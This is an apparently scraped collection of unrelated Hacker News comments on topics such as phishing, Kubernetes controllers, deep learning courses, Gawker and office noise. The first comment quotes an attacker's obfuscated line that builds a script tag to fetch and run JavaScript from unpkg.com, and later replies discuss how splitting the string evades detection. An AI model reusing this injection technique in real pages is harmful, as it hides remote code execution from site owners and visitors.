skysight-inc/HackerNews huggingface dataset:
Can someone explain to me why the attacker wrote the script source tag as

"var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';"

Instead of just:

var config_fragment = '<script src="https://unpkg.com/' + hash + '/' + hour + '.js"></script>';
Would love to chat! ranidu@theartistunion.com
Consider Dubai. Built by immigrants, used by natives.
There's definitely some research on this, and from memory they confirm your observations. The older generation actually understands what might be inside your computer far more than the newer generation. The newer generation is so detached from what they are actually using, they have no idea.

As for this 'millennial' business, I think you can quite easily divide the cohort into conscious before they had access to the internet and vice-versa. This obviously varies between geographic regions, socio-economic status and a number of other factors, but from personal experience, there is a massive divide between the two.
How bad does your car smell if you sleep in it most nights?
Gp appears to dislike policy-driven tax hikes which are ineffective at achieving the goal of the policy. See the difference?
"Digital natives" is a codephrase used by employers to mean "we only want to hire young people; if you're over 30 you won't be considered". It's dogwhistle discrimination.
Ahem..You are talking to a bunch of technologists. Technologists who believe that technology can actually change the world. We can see tech's influence from Arab Spring[1] to Defcon's recent vandalism[2]. We make up the people pushing the buttons behind the scene. In the name of humanity I know I will try everything to keep the Internet free and open and I hope many like minded people will to. Free sharing of ideas is the best way for us to advance.

This is why you and OP's comment are detracting and unproductive. We made this. We run the show.

[1]https://www.researchgate.net/profile/Ghazali_Sulong/publicat...
[2]https://www.cnet.com/news/everything-looks-like-a-hack-when-...
One of my favorite parts at work is when I set up our interns and new employees with their laptop and a monitor. So many young kids don't realize you can use two screens at one time. At first, they're intrigued. After 15 minutes, they're shocked at the productivity jump.
Fix Your B2B Email Marketing
A round trip economy ticket from New York to Hong Kong [1] is about $700. Kayak shows decent hotels at about $200 a night. Let's say 2 nights. That's $1,100 for travel and board.

To match the $3,000 a romantic dinner for two costs at Thomas Keller's Per Se, I'd have to spend almost $1,900 on dumplings and knick knacks.

[1] On Delta, about a month out
So You Want to Be a B2B Digital Marketer
To make it mor difficult to analyze the script. A simple string search will fail to catch the offending code.
If we could openly admit that we send innocent people to jail, it would be much easier to argue for better prison services for inmates. Afterall, we are assuming some portion of it is innocent.
>Also, if a message was really urgent, you wouldn't have to click-through to see it.

i don't get that logic. what's the difference between

Your adwords account was suspended due to suspected click fraud. [bunch of made up plausible reasons]. you may appeal by going to your adwords control panel [phising link here]

and

Your adwords account was suspended. click here to see why [phising link here].

in both cases you'd be pretty tempted to click the link.
How about "let's meet this Wednesday" then?
It’s usually done to prevent the parser from interpreting the closing script tag early: https://stackoverflow.com/questions/236073/why-split-the-scr...
You are lucky. Some projects have difficulty because everyone wants to use it but no one wants to contribute to it. The inbox of the maintainers may be full filled with bug reports and they have to spend one or two hours to handle these problems. They are tired.
No, mining has to be done 24 hours a day to be profitable.
I've heard it, and variations of it, many times before, but never realized it went back that far.
Think of the earliest colonists everywhere, they created their colonies but they weren't native to it. Their children were native to the colony though.
Generally the order of operations for someone writing a controller in Kube is:

1. Do the basic loop with resync

2. Fix a bunch of bugs

3. Realize the controller is too slow (for all pods {} etc)

4. Optimize for performance

5. Soak for a few months

6. Remove the resync interval

A correct controller will not need a resync interval. But it takes a while for sufficient tests and soak time to prove the controller is correct, and the resync is a great way to at least guarantee that state eventually converges.

For instance, 1.8 will remove the endpoint sync (after almost 2 years). Endpoints were one of the first controllers, and kept on chugging along without a problem. It's only now, with people running tens of thousands of services, that the inefficiency of the controller is indicating a need to optimize.

Controller loops are a great pattern because

1. They embody the single-writer principle (you can get a lot of work done single threaded at low scale and still reason about correctness)

2. An inefficient loop that that continually makes sure everything is correct is better in production than an efficient loop that breaks.

3. Most of the efficient tooling is in place to adopt as we go.
Stating what happened is not blaming language.

Characterizing the act as "unlucky" is excusing language, just as bad as blaming language.

Assigning an error to mystical forces is unhelpful.

Simply stating that the person entered the password into a phishing site is not blaming language, it is factual.
> Actually, the amount of garbage takeout creates is unconscionable to me. I couldn't live with myself filling landfills at that rate.

Does it really create more overall? At first it would seem obvious that it would, because there is now packaging for transporting the prepared food from the restaurant to my home. If I prepared the same meal at home that packaging would not be needed.

But, on the other hand, the restaurant does much more volume than I do. They will buy ingredients in bulk, whereas I'll buy them in much smaller packages. For a given total amount of an ingredient the restaurant will probably generate less garbage per serving than I do at home.

So the question then is does the savings in garbage per serving from the restaurant operating at high volume outweigh the garbage from packaging individual meals for take out?

My guess is that it might depend on what kind of food is being taken out. Food that is taken out in styrofoam containers probably has more impact than food taken out in paper bags.
There is this thing where many humans mix up being happy and being nice.
I somehow forgot to mention in the post - we're teaching a totally updated part 1 course (keras 2, python 3.6, Tensorflow 1.3, recent deep learning research results) starting end of October in San Francisco. Detail here: https://www.usfca.edu/data-institute/certificates/deep-learn...

I'll go edit the post with this info now - but figured I'd add a comment here for those that have already read it.
I think it is a bad idea to use generators to emulate threads. Because the code becomes difficult to understand and it is easy to make a mistake (for example forget to put a `yield` operator somewhere). I saw examples of such code.

If you want threads, then make a syntax or API for them rather than implement hacks nobody will want to deal with later.
The Hope Function? https://www.gwern.net/docs/statistics/1994-falk
Yes, for the most part. Adjust swappiness on existing systems if unable to repartition.

However there is one place having swap can be very useful and very simple to do: detecting memory pressure. Having a tiny swap partition on an SSD (with proper swappiness) is a good way to identify systems that may need more memory or loads moved to other boxes.

It's also possible to monitor sysfs kernel data to accomplish most of the same goals. https://linux-mm.org/Memory_pressure
I have a similar lightweight script I wrote [1] to generate white noise (actually brown noise) to concentrate when the office is busy.

There are a few other similar alternatives at the bottom of the readme, which I'll copy here for convenience:

- A Soft Murmur

- Brain.fm

- Coffitivity

- GitHub Audio

- Hipstersound

- Noisli

- Noizio

- SimplyNoise + SimplyRain

- Spotify playlists in the Focus section e.g., Ambient Chill, Deep Focus, or Music for Concentration

- Vicinity

- zenmix.io

[1]: https://github.com/tedmiston/zero-noise
Start a Bitcoin tumbler? The market lead apparently just exited for personal reasons, so there's an opening. Of course, you become a big target for hackers and maybe US law enforcement.
What kind of pair programming have you engaged in, beyond the "debug over the shoulder" scenario?
This is my sentiment exactly, that happiness is internal and requires awareness. When you shop for yourself, you can look at your shopping cart and be aware of what your needs are in life. When you cook your own food, you exercise control and awareness over what is going into your body. Cleaning requires you to be aware of your environment, and in the state of improved blood flow your mind has the freedom to clean itself of anxieties, bad memories, etc.
Obligatory Real Genius:

"You still run?"

"Only when chased."
This is incredibly false. How did you even manage to get this picture of what deep learning is?

I'm genuinely curious as to what articles/papers you've read that made you think deep learning is basically "running a graphics card backwards".
> They will buy ingredients in bulk, whereas I'll buy them in much smaller packages

Buy your produce in re-usable or recyclable containers, or grow it yourself? We pick up produce from a local farm, they bring it to the pick up site in re-usable plastic bins, we pick it up using re-usable cloth bags. Eggs are in recyclable containers.
More New Yorkers Opting for Life in the Bike Lane
>couldn't such a service also employe a HackerNews style voting system - basically if a song started getting flagged by users as 'copyright violation', it would start to disappear down any searches or catalogues, until enough votes caused it to disappear from the service altogether?

depends what your users' interests are. if they genuinely want the site to only offer legal music, then sure it might work. but if most of your users are using the site as a free streaming service, it's not in their interest to remove music that they like.
Most runners I see around here have never been to a clinic.
To me "this Wednesday" has already passed in your example and people don't normally make appointments for the past.
We are planning to create a podcast! Suscribe to the newsletter to keep updated
Well. It almost never ran in Buzzfeed (or the other 3 outfits DeRogatis pitched it to). But it certainly would have run! DeRogatis has been on the R. Kelly beat ever since he broke the original story about Kelly's statutory rape. He didn't report this story on a whim. One way or the other, it would have gotten out, and it would have gotten attention.

Not only that, but it's possible the story would have been better, or at least sharper: Buzzfeed's lawyers cut back the allegations.
Start a REIT that does cryptocurrency mining.
I've always thought Aubrey de Grey was a fountain of nonsense hiding behind complexity. He's like the nonsense research paper that gets published because it sounds smart and no one wants to admit they can't understand it.
Wait until you get into your 40's and 50's, that's often when lots of bad habits start to cause problems.
Sketchi-Photo to sketch converter(Source code
I think he's concerned about the opportunity cost, not accounting issues.
One of my past offices made a headphone rule that if someone has headphones on, you only interrupt them through Slack vs walking up their desk besides the rare exception. Very helpful.
are you quoting me? I don't speak latin.
Gawker didn't have to defy a judge and leave the sex tape up. Why is the author blaming the victim here?
If you stick to the setup approach in the videos (using the AMIs we created for the course) all the software will be the correct version to go with the notebooks and videos. If you try to use different versions of the software, it'll be a lot more work.

CS231n is great and I'm glad you checked it out. There isn't really anything nearly as good online unfortunately for the other areas we covered (NLP, collaborative filtering, etc). CS231n is not as code-oriented as the fast.ai course, and doesn't try to get you to the point you can replicate state of the art results - but it's got great conceptual content and Karpathy is a terrific technical communicator. I think the two courses go hand in hand quite nicely!
I would like to sell my app 1600 Pennsylvania for raising funds for politicians . It has chat + geolocation + poll features
Am I the only one who sees a major difference between publishing a negative story about someone and publishing an illegaly-obtained sex tape in its entirety, and refusing to take it down after a judge orders to do so?

I get the concern that blowback a could happen, but Gawker died because of Gawker, not just because some rich guy went after them.
GAAP or not if I have $BIGINT tied up on a boat haul (there's a joke about liquidity in here somewhere) with no returns while the operational cost of the task to be done rises, there's a cost.
I'd be alright if they offered both, a comment section, and a response feature, which allows more elaborate replies.
As someone who's been phished even though I've written article s on phishing in the past, all it takes is a moment of weakness.

In my case everything looked normal at a glance. 2FA saved me but if they'd had asked for 2FA I wouldn't have noticed.

https://blog.greggman.com/blog/getting-phished/

Other people getting phished

https://www.exploratorium.edu/blogs/tangents/we-got-phished-...
Upvoting this because someone downvoted you without explanation. This is a trend I keep hearing about from other devs - all we really want out of headphones is isolation from office noise and conversation, not necessarily to listen to anything.
You seem to be assuming that given you have waited for eight minutes already and that the schedule is 10 minutes that therefore half of the period remaining is the expected time for the bus. That seems like a fair heuristic but I'd personally read the timetable. To get a more exact answer you also need to know the distribution of actual bus arrival times. If they turn up at your stop every 10 mins (mean) but with a standard deviation of say two minutes then your heuristic is not the best.

Far more interesting is that two of the buggers will always turn up when you don't actually need one. I can prove that by assertion now and fairly confidently be able to appeal to around 60M Britons for testimony as required.

This is not related to "virality" which is my newly made up term for the Lindy Effect.
Mesengers are also required to block information that is being spreaded in a violation of russian laws.
Depreciation is probably not a concern, but inventory management sure would be. 6-8 weeks shipping implies you have 6-8 weeks worth of sales at sea at any one time, which is potentially a lot of money to be tied up.
A good way to develop presentation skills is to participate on a local toastmasters group: https://www.toastmasters.org/, I have been participating regularly for a year and I found out that I've been improving my presentation skills.

Besides that, I like the idea of starting small: present something for your closer colleagues, then present for your company. Once you have a talk accepted and you find your lines of thought, rehearse: find interesting topics, present them for your closer colleagues and see if they can give you feedback, iterate on that feedback and you will have something great (I presented my first talk 5 times for my colleagues, and even on the last I found space for improvement).

I've wrote a blog post about it: http://blog.rlmflores.me/slides,/conference/2012/05/31/confe...
> I'd wager that there are orders of magnitude between child deaths in cars due to heat and child deaths in cars due to crashes.

Don't just calculate the risks, also calculate the ratio of mitigated-risk-to-cost. Lowering the risk of death in traffic [1], after a certain extent of due diligence, can be very costly or impossible (don't go to work/preschool anymore). Lowering the risk of heat death, as GP describes, seems rather trivial - so there's no reason not to do it.

[1] which is quite high btw, I completely agree on that point. In an 80 year life in the US you're statistically going to die in a traffic accident with a probability of 0.85%. Almost 1 in 100 people die this way, so most people will know someone. For comparison, the same calculation for the UK (one of the lowest) comes out at 0.24%, so there's ways to go there for the US.

https://en.wikipedia.org/wiki/List_of_countries_by_traffic-r...
WebUDP
Why Offline Is the New Luxury
Eh, my book is the only thing I sell and it's $2.99.

If you don't want to, don't buy it. There are thousands of informative posts on my website, tens of thousands of photos and now hours of videos on YT for free.

Also, http://wikioverland.org is completely free, and is stacked with the info you need to drive your own vehicle around the world. It's my side project, and my way of giving back to the overland community.

Ask me anything you want to know about what I do, and I'm more than happy to help you get out there to live your dreams too.
> The lesson here is: never trust anyone or anything.

Which is why you should use 2FA and why you shouldn't trust someone who says they don't use it.
Can someone shine a light on how a site like Hype Machine is able to stay alive and prosper?

Is it b/c they don't host files and simply scrape the web for audio? Is that the key?
I had high hopes for them, but it turns out it just puts a tiny 'i' icon in the corner of the screen, with no way (AFAICT) to draw attention to it.

When we redo part 1 in October, we'll try to find a way to incorporate a clear link to an errata page or FAQ in each video, so that anyone with issues has one place to go.
It's funny how their replacement are consistently worse than what they replaced. You mentioned Google Chat, which was pretty great, followed by Hangouts which I'd still very good (arguably the best one out there that still exists), but succeeded by something that had no redeeming qualities at all.

Then we have Picasa which was succeeded by Photos. I like to be able to sort my photos, thanks.

Google Plus still doesn't have a public API.

Do you remember when it was possible to compile an Android application in seconds? Before you had to spend 30 seconds for Gradle to do absolutely nothing?

And Google reader was replaced by, well whatever they want you to use instead is not something I want to use.
The very 1st link of the article is a link to part 1.

I'll also link the text 'part 1' in that paragraph to make it more clear.
Genome-wide signatures of adaptive evolution in the big cats
Flexport is hiring senior engineers in San Francisco
Samsung Topples Intel as World’s Biggest Chip Maker
I think the point was that due to upgrade cycles being what they are, a given model of graphics card will be less valuable in actual reality after a few months at sea; not just less valuable according to accounting.
Yup. This article from 2013 captured it quite well, I thought: http://www.coding2learn.org/blog/2013/07/29/kids-cant-use-co...

"A kid puts his hand up. He tells me he's got a virus on his computer. I look at his screen. Displayed in his web-browser is what appears to be an XP dialogue box warning that his computer is infected and offering free malware scanning and removal tools. He's on a Windows 7 machine. I close the offending tab. He can't use a computer."
As a media group they did some incredibly shady stuff, I recall Gizmodo obtaining a lost iPhone prototype instead of encouraging the finder to return it.
I've had a several pairs of their EVOs (which seems to have been replaced by their Stealth and Primus lines)

I loved them, even if they did wear them out fairly quickly (I went through a pair in a little under a year.) That is largely because they were very comfortable and I ended up wearing them for more than just running though. They're the only minimalist shoe I've tried that had an adequately sized toe box.

I also recently got a pair of their canvas 'Mata' everyday shoes and can vouch for their comfort.
Sure, but ain't nobody got time for getting the right hand out of the home row. Emacs keybindings everywhere is one of the things that keeps me using OS X. As a bonus, remapping Caps Lock to Control like a proper UNIX keyboard is a few clicks away.
I bike everywhere and love it, so, each to their own indeed.
What about a shared whiteboard, though? That's the one thing I'm missing at the moment. Using one of those with a couple of nice graphics tablets would be great.
> The real answer is, computers suck. Seriously, computers are effing awful machines

No, they're amazing machines and don't suck. They just don't meet our arbitrarily high expectations.
Thanks for the catch, I wrote that comment a little too flippantly and left out important factors, the motors/regen alone certainly don't get you there.

Adding in the reduced drag of levitation vs soft tires combined with central control to avoid stop-n-go intersections/traffic gets you to 100x more efficient.

Edit: Also, I should just drop this link to some envelope math I did last Fall:

https://medium.com/@nickparkerprint/why-im-still-excited-abo...

And since I didn't think of this either before the first comment: I'm currently an employee of Hyperloop One, but none of the statements made in this thread are at all based on H1's design or proprietary info. They're based on the envelope math above, which was done before I started working there. I don't actually know H1's efficiency numbers because it's not my department.
Try Metalsmith if you want to poke around and write code. Try Hugo if you want something that works out of the box but that doesn't have a plugin system.
To add to the tragedy, this resulted in death threats to the father and his eventual suicide. I don't think it would have been prosecuted here but now we won't know.
Gawker posted a sex tape of Hulk Hogan online, without his consent, and refused to take it down. It was a tape that the Gawker editor who posted it had to admit in court had no news value. It's pretty disgusting to hear WaPo hand-wring over rape culture without addressing the fact that Gawker's non-consensual posting of two people's sex act is the very definition of rape culture. Peter Thiel is an unlikeable human for many reasons, but let's not forget that Gawker also outed him as gay without his permission. WaPo skips over that too.

It sounds like the outcome of Hogan v. Gawker is that news media - and especially the ream of online-only "news" sites that have sprouted over the past decade - are far more likely to fact check their stories before they publish stories that only serve to humiliate and degrade their subjects. Sexual predator or not, slow coverage of the R. Kelly debacle can hardly be pinned on Hulk Hogan holding Gawker accountable for their actions.
How? If they went from 18.5" to 17", they'd need to have had more than 11 seats already for that to make room for another seat.
In the same boat but I get enough ambient sound from the offices around me that it's not too bad. I still occasionally throw the headphones on when I want to REALLY crank the tunes or listen to a podcast, but I've found that just having Spotify/Pandora coming through some small Bose speakers at about 1/8th volume is way better than life used to be in an open floor plan with some very expensive Sennheisers.
YouTube in Black – Why not?
... is happier than those drivers would be if you weren't asking them to drive you around, because your desire for an Uber ride increases demand and thus their wages.